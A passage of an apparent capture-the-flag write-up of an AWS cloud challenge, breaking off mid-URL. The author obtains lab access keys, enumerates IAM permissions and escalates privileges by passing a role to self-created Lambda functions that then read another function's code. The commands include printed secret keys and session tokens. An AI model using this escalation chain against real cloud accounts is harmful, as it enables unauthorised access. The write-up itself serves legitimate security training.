I accessed the file through the initial cloudfront URL. The bucket URL had permissions to prevent notes.txt from being accessed directly from there

┌──(kali㉿kali)-[~] └─$ curl https://d20whnyjsgpc34.cloudfront.net/api/notes.txt # Neko Access System Invocation Notes Invoke with the passcode in the header "x-cat-header". The passcode is found on the cloudfront site, all lower caps and separated using underscore. https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent All EC2 computing instances should be tagged with the key: 'agent' and the value set to your username. Otherwise, the antivirus cleaner will wipe out the resources. ┌──(kali㉿kali)-[~] └─$  
Enter fullscreen mode Exit fullscreen mode

I accessed the endpoint stated in the notes.txt, and tested the access key

┌──(kali㉿kali)-[/tmp/flag] └─$ curl https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent {"Message": "Error encountered. Please raise a support ticket through your relational team lead to resolve the issue."} ┌──(kali㉿kali)-[/tmp/flag] └─$ curl https://b40yqpyjb3.execute-api.ap-southeast-1.amazonaws.com/prod/agent -H "x-cat-header: cats_rule_the_world" {"Message": "Welcome there agent! Use the credentials wisely! It should be live for the next 120 minutes! Our antivirus will wipe them out and the associated resources after the expected time usage.", "Access_Key": "AKIAQYDFBGMSUFX5522K", "Secret_Key": "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"} ┌──(kali㉿kali)-[/tmp/flag] └─$  
Enter fullscreen mode Exit fullscreen mode
┌──(kali㉿kali)-[/tmp/flag] └─$ aws configure AWS Access Key ID [********************]: AKIAQYDFBGMSUFX5522K AWS Secret Access Key [********************]: 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 Default region name [None]: us-east-1 Default output format [None]: ┌──(kali㉿kali)-[/tmp/flag] └─$ 
Enter fullscreen mode Exit fullscreen mode

AWS

AWS IAM Enum

General

I did some general enumeration first

┌──(kali㉿kali)-[/tmp] └─$ git clone https://github.com/andresriancho/enumerate-iam.git Cloning into 'enumerate-iam'... remote: Enumerating objects: 56, done. remote: Total 56 (delta 0), reused 0 (delta 0), pack-reused 56 Receiving objects: 100% (56/56), 33.63 KiB | 3.74 MiB/s, done. Resolving deltas: 100% (25/25), done. ┌──(kali㉿kali)-[/tmp] └─$ cd enumerate-iam ┌──(kali㉿kali)-[/tmp/enumerate-iam] └─$  ┌──(kali㉿kali)-[/tmp/enumerate-iam] └─$ python3 ./enumerate-iam.py --access-key AKIAQYDFBGMSUFX5522K --secret-key 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 2022-09-08 10:29:30,843 - 13773 - [INFO] Starting permission enumeration for access-key-id "AKIAQYDFBGMSUFX5522K" 2022-09-08 10:29:32,363 - 13773 - [INFO] -- Account ARN : arn:aws:iam::051751498533:user/user-b464a9d644194b0dafc3d166d36d5c4e 2022-09-08 10:29:32,364 - 13773 - [INFO] -- Account Id : 051751498533 2022-09-08 10:29:32,364 - 13773 - [INFO] -- Account Path: user/user-b464a9d644194b0dafc3d166d36d5c4e 2022-09-08 10:29:32,615 - 13773 - [INFO] Attempting common-service describe / list brute force. 2022-09-08 10:29:35,551 - 13773 - [INFO] -- ec2.describe_regions() worked! 2022-09-08 10:29:36,374 - 13773 - [INFO] -- ec2.describe_vpcs() worked! 2022-09-08 10:29:36,790 - 13773 - [INFO] -- ec2.describe_subnets() worked! 2022-09-08 10:29:36,925 - 13773 - [INFO] -- ec2.describe_route_tables() worked! /home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The rds client is currently using a deprecated endpoint: rds.amazonaws.com. In the next minor version this will be moved to rds.us-east-1.amazonaws.com. See https://github.com/boto/botocore/issues/2705 for more details. warnings.warn( 2022-09-08 10:29:37,139 - 13773 - [INFO] -- ec2.describe_security_groups() worked! /home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The sqs client is currently using a deprecated endpoint: queue.amazonaws.com. In the next minor version this will be moved to sqs.us-east-1.amazonaws.com. See https://github.com/boto/botocore/issues/2705 for more details. warnings.warn( /home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The shield client is currently using a deprecated endpoint: shield.us-east-1.amazonaws.com. In the next minor version this will be moved to shield.us-east-1.amazonaws.com. See https://github.com/boto/botocore/issues/2705 for more details. warnings.warn( 2022-09-08 10:29:45,719 - 13773 - [INFO] -- dynamodb.describe_endpoints() worked! /home/kali/.local/lib/python3.9/site-packages/botocore/client.py:621: FutureWarning: The health client is currently using a deprecated endpoint: health.us-east-1.amazonaws.com. In the next minor version this will be moved to global.health.amazonaws.com. See https://github.com/boto/botocore/issues/2705 for more details. warnings.warn( 2022-09-08 10:29:49,024 - 13773 - [INFO] -- sts.get_session_token() worked! 2022-09-08 10:29:49,284 - 13773 - [INFO] -- sts.get_caller_identity() worked! 2022-09-08 10:29:51,080 - 13773 - [INFO] -- iam.list_roles() worked! 2022-09-08 10:29:52,409 - 13773 - [INFO] -- iam.list_instance_profiles() worked! 2022-09-08 10:29:55,985 - 13773 - [ERROR] Remove globalaccelerator.describe_accelerator_attributes action 
Enter fullscreen mode Exit fullscreen mode

I researched on AWS CLI and found some useful resources

STS

I want to find out the user first

┌──(kali㉿kali)-[/tmp] └─$ aws sts get-session-token { "Credentials": { "AccessKeyId": "ASIAQYDFBGMSZBF6TPOA", "SecretAccessKey": "Sb9XcmVH6D9AHBkyZqrEcmVDHj1Oc8bc+uTx3Sfc", "SessionToken": "IQoJb3JpZ2luX2VjEKL//////////wEaCXVzLWVhc3QtMSJHMEUCICzSTyubo2spTfu218pmipD3AYOuvnC5LlyAbhn0puoRAiEA8cdOAMs8VwGz2AuVcyvjq1l6dpB9QXrVl3KfF3cv1AIq6wEIOxABGgwwNTE3NTE0OTg1MzMiDLaA+gudPdOkAEldWCrIAa0Dqo6VDEv9Pdz6fft34HbHzK1bpbyCjN4I5BPoQDGDB9NL9ndxhITaq6fOB6dIXGDKYPhUbrTFvVfIDENksgK5MET6qgb3wNw9wEmGFzmdSBXDj5YLBUVZwx7VmdM/3y42Jcii9CuAY/Zl7aT6DSO3GOTpkbNEAYwsgQEtNR3mqiGS1+qlfa29dK+zieN40jvT4zoLi8mkYpCXfb17mY4P2NT/0GK4Dd2uin7zOcf/LCvoG3eN7jOfcETxf5OzfvC3WTsRx7FBMMyw6pgGOpgBPxv6X3QG+ux6pWx+xnmZvz06ju8lq4h9EOmDWd3gi3bUwSI8DkbAmEUGZ0VPXcBzZ2s+mgntkHwYFhLZAJd5s04sJnnEZDbaGWTM3SzS+1yuODmEHg9c31yHUmpEE/rI7TpaQRg1v4oaLvdhM03OCmDQY4uuT96Gi4xRLy7vLpklg3fXAWPt746hvsZ8HP61KlBLyEZJams=", "Expiration": "2022-09-09T13:35:08+00:00" } } 
Enter fullscreen mode Exit fullscreen mode

The username can be found in the Arn. Its after the slash, in this case its user-a4f54ea053294863a598e6d01c5e4cc3

┌──(kali㉿kali)-[/tmp] └─$ aws sts get-caller-identity { "UserId": "AIDAQYDFBGMS6M3T3E7N7", "Account": "051751498533", "Arn": "arn:aws:iam::051751498533:user/user-a4f54ea053294863a598e6d01c5e4cc3" } ┌──(kali㉿kali)-[/tmp] └─$  
Enter fullscreen mode Exit fullscreen mode

IAM

I wanted to look at the list of roles first, to figure what I can do.

┌──(kali㉿kali)-[/tmp/flag] └─$ aws iam list-roles ... { "Path": "/", "RoleName": "ec2_agent_role", "RoleId": "AROAQYDFBGMSYSEMEVAEH", "Arn": "arn:aws:iam::051751498533:role/ec2_agent_role", "CreateDate": "2022-07-22T09:29:34+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "ec2.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600 }, { "Path": "/", "RoleName": "lambda_agent_development_role", "RoleId": "AROAQYDFBGMS2NDQR5JSE", "Arn": "arn:aws:iam::051751498533:role/lambda_agent_development_role", "CreateDate": "2022-07-22T09:29:34+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600 }, { "Path": "/", "RoleName": "lambda_agent_webservice_role", "RoleId": "AROAQYDFBGMSTH7VQVGQC", "Arn": "arn:aws:iam::051751498533:role/lambda_agent_webservice_role", "CreateDate": "2022-07-22T09:29:35+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600 }, ... 
Enter fullscreen mode Exit fullscreen mode

User Policy

I tried to find user policy to figure out what I can and cannot do

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS] └─$ aws iam list-attached-user-policies --user-name user-a5df75ad1753434aa2db7dbe7d361b96 254 ⨯ { "AttachedPolicies": [ { "PolicyName": "user-a5df75ad1753434aa2db7dbe7d361b96", "PolicyArn": "arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96" } ] } ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS] └─$ aws iam get-policy --policy-arn "arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96" { "Policy": { "PolicyName": "user-a5df75ad1753434aa2db7dbe7d361b96", "PolicyId": "ANPAQYDFBGMSUGVZ37LUE", "Arn": "arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96", "Path": "/", "DefaultVersionId": "v1", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "CreateDate": "2022-09-09T07:35:46+00:00", "UpdateDate": "2022-09-09T07:35:46+00:00", "Tags": [] } } ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS] └─$ aws iam get-policy-version --policy-arn "arn:aws:iam::051751498533:policy/user-a5df75ad1753434aa2db7dbe7d361b96" --version-id "v1" 252 ⨯ { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "VisualEditor0", "Effect": "Allow", "Action": [ "iam:GetPolicy", "iam:GetPolicyVersion", "iam:ListAttachedRolePolicies", "iam:ListRoles" ], "Resource": "*" }, { "Sid": "VisualEditor1", "Effect": "Allow", "Action": [ "lambda:CreateFunction", "lambda:InvokeFunction", "lambda:GetFunction" ], "Resource": "arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*" }, { "Sid": "VisualEditor2", "Effect": "Allow", "Action": [ "iam:ListAttachedUserPolicies" "iam:ListAttachedUserPolicies" ], "Resource": "arn:aws:iam::051751498533:user/${aws:username}" }, { "Sid": "VisualEditor3", "Effect": "Allow", "Action": [ "iam:PassRole" ], "Resource": "arn:aws:iam::051751498533:role/lambda_agent_development_role" }, { "Sid": "VisualEditor4", "Effect": "Allow", "Action": [ "ec2:DescribeVpcs", "ec2:DescribeRegions", "ec2:DescribeSubnets", "ec2:DescribeRouteTables", "ec2:DescribeSecurityGroups", "ec2:DescribeInstanceTypes", "iam:ListInstanceProfiles" ], "Resource": "*" } ] }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2022-09-09T07:35:46+00:00" } } ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS] └─$ 
Enter fullscreen mode Exit fullscreen mode

You can pass the arn:aws:iam::051751498533:role/lambda_agent_development_role role, as it has iam:PassRole.

You can also create lambda functions with the name arn:aws:lambda:ap-southeast-1:051751498533:function:${aws:username}-*, and then pass the above role to it.

AWS Lambda

Function Testing

Firstly, I tried running a lambda function with the help of this guide

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS] └─$ nano index.js ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS] └─$ cat index.js exports.handler = async function(event, context, callback) { return 'hello world'; } ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS] └─$ zip function.zip index.js adding: index.js (deflated 7%) ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS] └─$ aws lambda create-function --function-name user-a5df75ad1753434aa2db7dbe7d361b96-helloworld --zip-file fileb://function.zip --runtime nodejs16.x --handler index.handler --role arn:aws:iam::051751498533:role/lambda_agent_development_role { "FunctionName": "user-a5df75ad1753434aa2db7dbe7d361b96-helloworld", "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:user-a5df75ad1753434aa2db7dbe7d361b96-helloworld", "Runtime": "nodejs16.x", "Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role", "Handler": "index.handler", "CodeSize": 248, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2022-09-09T08:04:50.310+0000", "CodeSha256": "GC2ej8g5kiPRFpnf9EQvIcl4DkDriObC0LPg6kJxTLM=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "918de20b-0d4d-4ef6-8674-704980ae7c8b", "State": "Pending", "StateReason": "The function is being created.", "StateReasonCode": "Creating", "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 } } ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS] └─$ aws lambda get-function --function-name user-a5df75ad1753434aa2db7dbe7d361b96-helloworld { "Configuration": { "FunctionName": "user-a5df75ad1753434aa2db7dbe7d361b96-helloworld", "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:user-a5df75ad1753434aa2db7dbe7d361b96-helloworld", "Runtime": "nodejs16.x", "Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role", "Handler": "index.handler", "CodeSize": 248, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2022-09-09T08:04:50.310+0000", "CodeSha256": "GC2ej8g5kiPRFpnf9EQvIcl4DkDriObC0LPg6kJxTLM=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "97b94a13-cc62-4ce9-bef1-307ced395057", "State": "Active", "LastUpdateStatus": "Successful", "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 } }, "Code": { "RepositoryType": "S3", "Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/user-a5df75ad1753434aa2db7dbe7d361b96-helloworld-adf2d0ad-5438-45a2-bde3-3a9342de84e2?versionId=j8OIPEw3mHT2701GwQ5R7di10kb.KGZh&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKf%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkgwRgIhAML%2Fuslw0lHqTwVUclp0IjRq4j97DKbSw8fqdcAWhZdVAiEApRqDANMihAVPnaTPCFfYkQLVzWqUcbTGX3fYbSm7G3Aq2wQIQBAEGgwyOTUzMzg3MDM1ODMiDCIdr4DbWo5ooe%2F48Sq4BNKHgqSncjFRgBPZoyZG3qvqJiFBDYCGkQxYwzfoWJw6fKJ38fbeRI9hEAXz45nPG5YdPYwPlbTxV0KGA9wJxONeA7e3%2BDrhdZalJlMYdWc3f0okBYN%2FzfGR7Dr%2F40gtl4TqsjEMsYn5K83554LhIaAvpF3RsEM5PGmlF6FNDKxpArX41kGqzBFyO%2Fc6XnT4HmwFZd178cCDe3b9TtzwiJ9uKptgvPJ0rLAJwFWn%2BSYDj7N%2Bk6nLPw07Ca7%2BjljKyzJQY39VYRYRtbOemDQnoe9q9tAfhcAeWUsLMQpmQrYtMU%2FA8qtsXNpwfXyJYRQOQ8hbo258b7PBrhMKmr12KQp4UbKXD%2B9Ch8ONBTfkaBc4%2BQzE6Q6lqqhUwWg3TklBFDpkr4phU%2FY69PBn60ZCUmDjJiAqGjiretanxVzcEeP56YaT3wtaEYHY2DqfmR35I4SAfaQHqpu0oDR2FtyvsJiJNVh2f2PGLdJELlKAyP%2BWRRFpiDtTxQyA%2FPf6J03p71ZhkOQdZnOhSCiUx8qhiuhwIbK5zIqwgcMHhnF0WFr7tQLHRbgLqG2If2XQQgMQ5jOYY%2BmeVUNR3rhKeWtTRJk%2Bf0iJruf4S%2Fd5biQrFQ7HQzWEkSAbeJHZhHqrLo7K2gYnZ%2Fb%2FjweGkb%2F0mIzR8co72At6cJLZskOHorltPWhEyEa5J7NfkcZokuRPDcX14xAdGH04yfjBNJ1w60rIvzo8Wf5nzVBNSNZC3dAzWYkJGQOvFT9pQ%2FwwvMzrmAY6qAHq%2FszymAahlDysJ89xW19gKNJem84Bp7lEVUjPngmTEWDw7Y%2Ft5iVkEikEtfHnAn1WSHfoVgpl3GbAyh%2FawyzVfKirLfXuLw%2FWAsSsIiKd2O5YEgc3tX21miUktThFjIFEiomiUMbwMtmMSngJPBBKvFCmuScSC6vqplwYE1ykWQvGxKetwmsj%2BnztQKIas2aHBhZyHTdWbajX7y2EWMWiHMB6czPE1xI%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220909T080615Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LPUL5JLYKT%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=cc5fdd01b0c9b58854a454b446f84fe461a96d1ef1f683702296888a3f0d82c6" } } ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS] └─$ aws lambda invoke --function-name user-a5df75ad1753434aa2db7dbe7d361b96-helloworld out.txt 252 ⨯ { "StatusCode": 200, "ExecutedVersion": "$LATEST" } ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS] └─$ cat out.txt "hello world" ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS] └─$  
Enter fullscreen mode Exit fullscreen mode

Lambda Role Policy

I tried enumerating more on what this lambda role could do to see how could I further privesc from the lambda function. It turns out that there are EC2 privileges here

┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS/lambda] └─$ aws iam list-attached-role-policies --role-name "lambda_agent_development_role" 254 ⨯ { "AttachedPolicies": [ { "PolicyName": "iam_policy_for_lambda_agent_development_role", "PolicyArn": "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role" } ]y } ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS/lambda] └─$ aws iam get-policy --policy-arn "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role" { "Policy": { "PolicyName": "iam_policy_for_lambda_agent_development_role", "PolicyId": "ANPAQYDFBGMS2XASGX3JS", "Arn": "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role", "Path": "/", "DefaultVersionId": "v2", "AttachmentCount": 1, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "AWS IAM Policy for Lambda agent development service", "CreateDate": "2022-07-22T09:29:36+00:00", "UpdateDate": "2022-08-23T13:16:26+00:00", "Tags": [] } } ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS/lambda] └─$ aws iam get-policy-version --policy-arn "arn:aws:iam::051751498533:policy/iam_policy_for_lambda_agent_development_role" --version-id "v2" { "PolicyVersion": { "Document": { "Statement": [ { "Action": [ "ec2:RunInstances", "ec2:CreateVolume", "ec2:CreateTags" ], "Effect": "Allow", "Resource": "*" }, { "Action": [ "lambda:GetFunction" ], "Effect": "Allow", "Resource": "arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service" }, { "Action": [ "iam:PassRole" ], "Effect": "Allow", "Resource": "arn:aws:iam::051751498533:role/ec2_agent_role", "Sid": "VisualEditor2" } ], "Version": "2012-10-17" }, "VersionId": "v2", "IsDefaultVersion": true, "CreateDate": "2022-08-23T13:16:26+00:00" } } ┌──(weirdAAL)(kali㉿kali)-[/tmp/AWS/lambda] └─$  
Enter fullscreen mode Exit fullscreen mode
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function] └─$ aws lambda invoke --function-name arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service /tmp/out.txt An error occurred (AccessDeniedException) when calling the Invoke operation: User: arn:aws:iam::051751498533:user/user-00e6fd16c555452c900d1b14d6af61c5 is not authorized to perform: lambda:InvokeFunction on resource: arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service because no identity-based policy allows the lambda:InvokeFunction action ┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function] └─$ 
Enter fullscreen mode Exit fullscreen mode

Lambda Privesc, view other Lambda

I tried viewing the other lambda function first, since it's a privilege with the lambda_agent role. I referred to here to help with the code.

lambda_function.py

# https://www.learnaws.org/2020/12/16/aws-ec2-boto3-ultimate-guide/ # https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/lambda_privesc/cheat_sheet_chris.md import boto3 REGION_NAME="ap-southeast-1" # https://boto3.amazonaws.com/v1/documentation/api/latest/reference/services/lambda.html#Lambda.Client.get_function def get_function(): lambda_client = boto3.client('lambda') response = lambda_client.get_function( FunctionName='arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service' ) return response def lambda_handler(event, context): func_response = get_function() return func_response #role_arn="arn:aws:iam::051751498533:role/ec2_agent_role" 
Enter fullscreen mode Exit fullscreen mode

run.sh

LAMBDA_FUNC=user-00e6fd16c555452c900d1b14d6af61c5-ec2test4 pip install --target ./package boto3 cd package zip -r ../function.zip . > /dev/null cd .. zip -g function.zip lambda_function.py rm -rf package aws lambda create-function --zip-file fileb://function.zip --runtime python3.7 --handler lambda_function.lambda_handler --role arn:aws:iam::051751498533:role/lambda_agent_development_role --function-name $LAMBDA_FUNC aws lambda invoke --function-name $LAMBDA_FUNC /tmp/out.txt cat /tmp/out.txt 
Enter fullscreen mode Exit fullscreen mode
┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function] └─$ ls lambda_function.py run.sh ┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function] └─$ ./run.sh ... updating: lambda_function.py (deflated 43%) { "FunctionName": "user-00e6fd16c555452c900d1b14d6af61c5-ec2test4", "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:user-00e6fd16c555452c900d1b14d6af61c5-ec2test4", "Runtime": "python3.7", "Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role", "Handler": "lambda_function.lambda_handler", "CodeSize": 9332181, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2022-09-09T10:00:13.477+0000", "CodeSha256": "WZtZZh86oUgfKI5/0zRc+JVC1++pkWsl22clPyWDaUo=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "bb298cd0-0211-460a-a5ad-15c90b2173c1", "State": "Pending", "StateReason": "The function is being created.", "StateReasonCode": "Creating", "PackageType": "Zip", "Architectures": [ "x86_64" ], "EphemeralStorage": { "Size": 512 } } { "StatusCode": 200, "ExecutedVersion": "$LATEST" } {"ResponseMetadata": {"RequestId": "df15839d-bf36-4cf1-a6d0-6a6f8fea517e", "HTTPStatusCode": 200, "HTTPHeaders": {"date": "Fri, 09 Sep 2022 10:00:17 GMT", "content-type": "application/json", "content-length": "2848", "connection": "keep-alive", "x-amzn-requestid": "df15839d-bf36-4cf1-a6d0-6a6f8fea517e"}, "RetryAttempts": 0}, "Configuration": {"FunctionName": "cat-service", "FunctionArn": "arn:aws:lambda:ap-southeast-1:051751498533:function:cat-service", "Runtime": "python3.9", "Role": "arn:aws:iam::051751498533:role/lambda_agent_development_role", "Handler": "main.lambda_handler", "CodeSize": 416, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2022-08-23T13:16:19.469+0000", "CodeSha256": "52UWd1KHAZub5aJIS953mHrKVM0mFPiVBuGahWFGaz4=", "Version": "$LATEST", "TracingConfig": {"Mode": "PassThrough"}, "RevisionId": "90be1b48-3339-4a78-a083-b77e285b7b8a", "State": "Active", "LastUpdateStatus": "Successful", "PackageType": "Zip"}, "Code": {"RepositoryType": "S3", "Location": "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId=XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgVPWDaYHJlMRuv68%2F2KU7CnITmi1VfjUFYA%2FNOKdyXJwCIGttcU4mQ3yG6heLPsf68OxVG%2Be%2B3XgadfsmNxjqHhtnKtsECEIQBBoMMjk1MzM4NzAzNTgzIgybdHXD%2BdW7I4bBzosquATyJkvl9EBzjY3gRW8PYnOx9Hx%2FhkP%2FtcoKs8V960UbbTm%2FvdM9uHGqRPQOymRA5rV8Mn4ab7kOLwmkoj8idhSYVqxmrmVQMw%2F38rknTmhjctVxiBTtySxajN1Lk3OcN%2FTNTPp084PwrztLu6J69MpcbtU5We0yUCR%2BimmbMQ3UZE1KrqMCMZf%2Ffw9PIuaUpb25wB58U%2BusFKNDESVGnasMuLCaSkoV4PQhvJbqTnt4Mj1QMLG25J5gyks5CejdxvWN5GEEFIZkAUkhXLO24IqBeNg3D28x7ndGmYDdtH93rdqichuColz0tZCjJHdVd2T2R3ympa54LVeqWi1p1pwF%2BIt%2BEd%2BOV3bsDFIR%2FOKcd8HQd9TvOtsh6mAijX0vzOMoIP0gZbzvOHHfrE1Cl4pLtw3kBWki5Zj72nea2%2FwLGYslN2Y1Wu1IDk1%2FuONb4%2FJxoxG2AbHJw7a0nTAWByfRp43K7641WZogJK9kiOG%2FIFaXkbR0gTFLngLGHz8GLjBoFyHDaklBChdB60OpejmYgZnCTPRIyBsSR7i3%2BPsydGzMI8QzsLD2W2qSWt2C6N0kWwqeyyzvu6EYio1l2YEmHtQa14y0U6Dz7wNFN0VLnKVvAgK22cktfZbm11bPG%2FAyjUKRcBqUVaZyBl6b9JgKGdKwevmJzYI%2FsAN5oxtDwvO%2FiRLFVeVV2XflxqVLw9wqPr%2BnF3yw%2FTzUdtbTadkGsDDfeGe8iX3TNnbcCpiTAB4VFKyk8sDHMOeI7JgGOqoB943K6qC1kUngqxMXWO%2BXUDiyHh15Q3jaJiWbtJpRrT08fxIT%2BWxZauF5fuL1NEEIOu%2FBMnbbvV5JfOys0RLJ87PcsZ%2B9K7gDECtZyLobJvtCbjyulcVgQQSdiiojrqDhWGFxrHKUmbddgLTfWpP0PR%2BWPVBrFzZ9m66avkdzCgoomtKHtVZCbEGl1nv9Sab6NytJhZufNEPB427FR%2FkAEQtgHXPaDmjNrX8%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220909T100017Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LP6M2EGZJY%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6d5a839f51be92fcdb385485ae8cb64dd6b02fb8dd92fac6296b81ce1899024d"}} ┌──(kali㉿kali)-[/tmp/AWS/lambda/hack-function] └─$ 
Enter fullscreen mode Exit fullscreen mode

View File

┌──(kali㉿kali)-[/tmp] └─$ wget "https://awslambda-ap-se-1-tasks.s3.ap-southeast-1.amazonaws.com/snapshots/051751498533/cat-service-f02e065f-3e98-4c04-8d77-c627d6d8d5a2?versionId=XMHQ4OlZGN52Y_FiI23NgMfVyC2eL_sD&X-Amz-Security-Token=IQoJb3JpZ2luX2VjEKn%2F%2F%2F%2F%2F%2F%2F%2F%2F%2FwEaDmFwLXNvdXRoZWFzdC0xIkYwRAIgVPWDaYHJlMRuv68%2F2KU7CnITmi1VfjUFYA%2FNOKdyXJwCIGttcU4mQ3yG6heLPsf68OxVG%2Be%2B3XgadfsmNxjqHhtnKtsECEIQBBoMMjk1MzM4NzAzNTgzIgybdHXD%2BdW7I4bBzosquATyJkvl9EBzjY3gRW8PYnOx9Hx%2FhkP%2FtcoKs8V960UbbTm%2FvdM9uHGqRPQOymRA5rV8Mn4ab7kOLwmkoj8idhSYVqxmrmVQMw%2F38rknTmhjctVxiBTtySxajN1Lk3OcN%2FTNTPp084PwrztLu6J69MpcbtU5We0yUCR%2BimmbMQ3UZE1KrqMCMZf%2Ffw9PIuaUpb25wB58U%2BusFKNDESVGnasMuLCaSkoV4PQhvJbqTnt4Mj1QMLG25J5gyks5CejdxvWN5GEEFIZkAUkhXLO24IqBeNg3D28x7ndGmYDdtH93rdqichuColz0tZCjJHdVd2T2R3ympa54LVeqWi1p1pwF%2BIt%2BEd%2BOV3bsDFIR%2FOKcd8HQd9TvOtsh6mAijX0vzOMoIP0gZbzvOHHfrE1Cl4pLtw3kBWki5Zj72nea2%2FwLGYslN2Y1Wu1IDk1%2FuONb4%2FJxoxG2AbHJw7a0nTAWByfRp43K7641WZogJK9kiOG%2FIFaXkbR0gTFLngLGHz8GLjBoFyHDaklBChdB60OpejmYgZnCTPRIyBsSR7i3%2BPsydGzMI8QzsLD2W2qSWt2C6N0kWwqeyyzvu6EYio1l2YEmHtQa14y0U6Dz7wNFN0VLnKVvAgK22cktfZbm11bPG%2FAyjUKRcBqUVaZyBl6b9JgKGdKwevmJzYI%2FsAN5oxtDwvO%2FiRLFVeVV2XflxqVLw9wqPr%2BnF3yw%2FTzUdtbTadkGsDDfeGe8iX3TNnbcCpiTAB4VFKyk8sDHMOeI7JgGOqoB943K6qC1kUngqxMXWO%2BXUDiyHh15Q3jaJiWbtJpRrT08fxIT%2BWxZauF5fuL1NEEIOu%2FBMnbbvV5JfOys0RLJ87PcsZ%2B9K7gDECtZyLobJvtCbjyulcVgQQSdiiojrqDhWGFxrHKUmbddgLTfWpP0PR%2BWPVBrFzZ9m66avkdzCgoomtKHtVZCbEGl1nv9Sab6NytJhZufNEPB427FR%2FkAEQtgHXPaDmjNrX8%3D&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20220909T100017Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=ASIAUJQ4O7LP6M2EGZJY%2F20220909%2Fap-southeast-1%2Fs3%2Faws4_request&X-Amz-Signature=6d5a839f51be92fcdb385485ae8cb64dd6b02fb